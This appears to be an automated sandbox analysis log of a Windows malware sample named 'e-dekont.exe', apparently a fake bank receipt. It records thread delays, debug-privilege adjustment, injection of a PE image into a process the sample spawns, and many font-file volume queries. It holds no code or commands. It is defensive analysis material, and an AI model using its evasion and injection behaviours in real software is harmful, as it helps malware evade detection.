Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 597219	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 597094	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 596984	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 596875	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 596766	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 596656	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 596547	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 596438	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 596313	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 596188	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 596078	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 595969	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 595844	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 595515	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 595297	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 595188	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 595063	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 594844	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 594719	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 594609	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Thread delayed: delay time: 594500	Jump to behavior

Source: e-dekont.exe, 00000002.00000002.4086663197.00000000011AB000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\e-dekont.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\e-dekont.exe

Code function: 2_2_05B4BE28 LdrInitializeThunk,

2_2_05B4BE28

Source: C:\Users\user\Desktop\e-dekont.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\e-dekont.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\e-dekont.exe

Memory written: C:\Users\user\Desktop\e-dekont.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\e-dekont.exe

Process created: C:\Users\user\Desktop\e-dekont.exe "C:\Users\user\Desktop\e-dekont.exe"

Jump to behavior

Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Users\user\Desktop\e-dekont.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont.exe	Queries volume information: C:\Windows\Fonts\OFFSYM.TTF VolumeInformation	Jump to behavior
